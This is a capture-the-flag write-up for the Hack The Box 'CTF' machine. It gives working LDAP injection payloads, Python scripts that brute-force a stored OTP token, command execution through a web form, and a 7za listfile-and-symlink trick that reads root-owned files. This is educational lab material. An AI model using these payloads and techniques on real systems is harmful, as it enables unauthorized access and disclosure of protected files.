CTF
20/07/2019
CTF
is a really interesting box that requires exploiting an LDAP injection vulnerability to be able to use a one time password system to obtain a shell. Then, to get the root flag, abuse a 7za
functionality to read files as another user.
User
We'll start running a nmap
to see we only have port 22/ssh
and 80/http
open.
root@kali:~/htb/ctf# nmap -sC -sV 10.10.10.122 Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 06:09 EDT Nmap scan report for 10.10.10.122 Host is up (0.069s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA) | 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA) |_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 |_http-title: CTF
If we visit the website in port 80
we see the following text.
Any kind of bruteforcing enumeration tool such as gobuster
or wfuzz
won't work here or would take too much to run. Anyway, we don't need those here.
Going to the login site will take us to this form.
Trying any random username gives this message, which could mean we can enumerate users.
On the source code of the login page we have the following comment.
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) --> <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
A token string with 81 digits? After some googling, we can find some sites talking about a similar token, in the stoken manpage for example.
Pure numeric (81-digit) "ctf" (compressed token format) strings,...
Yep, CTF like the machine box, we're going the right way.
How the comment also speaks about attributes and the creator of the box is also the creator of lightweight
, the login probably uses ldap
to authenticate users.
If we use the character *
URL encoded (%2A
) on the username field, we get the following message, which probably means we have an ldap injection vulnerability in the login and the application thought it was a valid user.
Note: the application URL encodes the username before sending it, so if we work with burp
for example, we have to URL encode it two times (%252A
).
The comment we saw before said the token is stored in an already existent attribute, so first we need to know which one is it. To do that we're going to use a variant of a PayloadAllTheThings payload: *)(uid=*))(|(uid=*
and change uid
for other attributes, if the response says 'Cannot login', means the attribute exists. I automated the process with the following script.
import requests import time import urllib.parse attrs = ["buildingname","c","cn","co","comment","commonname","company","description","distinguishedname","dn","department","displayname","facsimiletelephonenumber","fax","friendlycountryname","givenname","homephone","homepostaladdress","info","initials","ipphone","l","mail","mailnickname","rfc822mailbox","mobile","mobiletelephonenumber","name","othertelephone","ou","pager","pagertelephonenumber","physicaldeliveryofficename","postaladdress","postalcode","postofficebox","samaccountname","serialnumber","sn","surname","st","stateorprovincename","street","streetaddress","telephonenumber","title","uid","url","userprincipalname","wwwhomepage"] url = "http://10.10.10.122/login.php" headers = {"Content-Type": "application/x-www-form-urlencoded"} for attr in attrs: time.sleep(1) payload = '*)(' + attr + '=*))(|(' + attr + '=*' username = urllib.parse.quote(urllib.parse.quote(payload)) data = "inputUsername=" + username + "&inputOTP=123" r = requests.post(url, data=data, headers=headers) if b'Cannot login' in r.content: print(attr + ' exists!')
root@kali:~/htb/ctf# python3 attrme.py cn exists! commonname exists! mail exists! rfc822mailbox exists! name exists! pager exists! pagertelephonenumber exists! sn exists! surname exists! uid exists!
Now that we know the available attributes, we're going to dump the values of each one using the same payload *)(ATTR=*))(|(ATTR=VALUE*
, but now bruteforcing all possible characters.
import requests import time import urllib.parse chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-/@+" url = "http://10.10.10.122/login.php" headers = {"Content-Type": "application/x-www-form-urlencoded"} attrs = ["cn", "commonname", "mail", "rfc822mailbox", "name", "pager", "pagertelephonenumber", "sn", "surname", "uid"] for attr in attrs: print('[+] Dumping ' + attr + ': ') next = False val = "" while not next: for i, c in enumerate(chars): time.sleep(1) payload = '*)(' + attr + '=*))(|(' + attr + '=' + val + c + '*' username = urllib.parse.quote(urllib.parse.quote(payload)) data = "inputUsername=" + username + "&inputOTP=123" r = requests.post(url, data=data, headers=headers) if b'Cannot login' in r.content: val += c print(val) break if i == len(chars) - 1: next = True
root@kali:~/htb/ctf# python3 valueme.py [+] Dumping cn: l ... ldapuser [+] Dumping commonname: l ... ldapuser [+] Dumping mail: l ... ldapuser@ctf [+] Dumping rfc822mailbox: l ... ldapuser@ctf [+] Dumping name: l ... ldapuser [+] Dumping pager: 2 28 ... 28544949001135715653165154565233557071316741144572714060417214145671110271671700 285449490011357156531651545652335570713167411445727140604172141456711102716717000 [+] Dumping pagertelephonenumber: 2 28 ... 28544949001135715653165154565233557071316741144572714060417214145671110271671700 285449490011357156531651545652335570713167411445727140604172141456711102716717000 [+] Dumping sn: l ... ldapuser [+] Dumping surname: l ... ldapuser [+] Dumping uid: l ... ldapuser
Now that we have the CTF token, we can use the tool stoken
to generate One Time Passwords (OTP
).
root@kali:~/htb/ctf# stoken import --token 285449490011357156531651545652335570713167411445727140604172141456711102716717000 Enter new password: Confirm new password:
root@kali:~/htb/ctf# stoken tokencode Enter PIN: PIN must be 4-8 digits. Use '0000' for no PIN. Enter PIN: 0000 53373465
Using this OTP
and the user %2A
we can login, being redirected to /page.php
where we have the following form.
Trying to execute anything will prompt us this error.
We just have to use *)(uid=*))(|(uid=*
(%2A%29%28uid%3D%2A%29%29%28%7C%28uid%3D%2A
) as username instead. Then we will be logged in as a valid user and we'll be able to execute commands.
Check what we have on the current folder using ls -la
.
drwxr-xr-x. 6 root root 176 Oct 23 2018 . drwxr-xr-x. 4 root root 33 Jun 27 2018 .. -rw-r--r--. 1 root root 0 May 19 22:34 banned.txt -rw-r-----. 1 root apache 1424 Oct 23 2018 cover.css drwxr-x--x. 2 root apache 4096 Oct 23 2018 css drwxr-x--x. 4 root apache 27 Oct 23 2018 dist -rw-r-----. 1 root apache 2592 Oct 23 2018 index.html drwxr-x--x. 2 root apache 242 Oct 23 2018 js -rw-r-----. 1 root apache 5021 Oct 23 2018 login.php -rw-r-----. 1 root apache 68 Oct 23 2018 logout.php -rw-r-----. 1 root apache 5245 Oct 23 2018 page.php -rw-r-----. 1 root apache 2324 Oct 23 2018 status.php drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads
If we inspect the code of page.php
we can see the following credentials.
... $username = 'ldapuser'; $password = 'e398e27d5c4ad45086fe431120932a01'; ...
Now we can connect via ssh
.
root@kali:~/htb/ctf# ssh ldapuser@10.10.10.122 ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01 [ldapuser@ctf ~]$
We can read the user flag on ldapuser
home directory.
[ldapuser@ctf ~]$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
After some enumeration we can find the following files owned by root
in /backup
.
[ldapuser@ctf backup]$ ls -la total 52 drwxr-xr-x. 2 root root 4096 May 19 22:45 . dr-xr-xr-x. 18 root root 238 Jul 31 2018 .. -rw-r--r--. 1 root root 32 May 19 22:35 backup.1558298101.zip -rw-r--r--. 1 root root 32 May 19 22:36 backup.1558298161.zip -rw-r--r--. 1 root root 32 May 19 22:37 backup.1558298221.zip -rw-r--r--. 1 root root 32 May 19 22:38 backup.1558298281.zip -rw-r--r--. 1 root root 32 May 19 22:39 backup.1558298341.zip -rw-r--r--. 1 root root 32 May 19 22:40 backup.1558298401.zip -rw-r--r--. 1 root root 32 May 19 22:41 backup.1558298461.zip -rw-r--r--. 1 root root 32 May 19 22:42 backup.1558298521.zip -rw-r--r--. 1 root root 32 May 19 22:43 backup.1558298581.zip -rw-r--r--. 1 root root 32 May 19 22:44 backup.1558298641.zip -rw-r--r--. 1 root root 32 May 19 22:45 backup.1558298701.zip -rw-r--r--. 1 root root 0 May 19 22:45 error.log -rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
The file honeypot.sh
seems to be executing as a cron job and zipping the files of /var/www/html/uploads
and storing them here.
[ldapuser@ctf backup]$ cat honeypot.sh # get banned ips from fail2ban jails and update banned.txt # banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds) /usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt # awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt # some vars in order to be sure that backups are protected now=$(date +"%s") filename="backup.$now" pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}') # keep only last 10 backups cd /backup ls -1t *.zip | tail -n +11 | xargs rm -f # get the files from the honeypot and backup 'em all cd /var/www/html/uploads 7za a /backup/$filename.zip -t7z -snl -p$pass -- * # cleaup the honeypot rm -rf -- * # comment the next line to get errors for debugging truncate -s 0 /backup/error.log
What looks interesting here is the 7za
instruction which compresses the files. If we check the documentation we can see there's the option to tell 7za to read the files to compress from the content of another file if we use @
on the filename.
7za <command> [<switches>... ] <archive_name> [<file_names>... ] [<@listfiles>... ]
We can abuse this to read files as the user who is running this script. We just have to create a file with the @
symbol and another one that points to the file we want to read, /root/root.txt
in our case.
[ldapuser@ctf html]$ touch uploads/@root.txt [ldapuser@ctf html]$ ln -s /root/root.txt uploads/root.txt
When the script is executed, it reads the contents of /root/root.txt
and logs them on error.log
but truncates the file afterwards, so we have to be reading the file using tail -f
and we should get the flag.
[ldapuser@ctf uploads]$ tail -f /backup/error.log
WARNING: No more files
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
tail: /backup/error.log: file truncated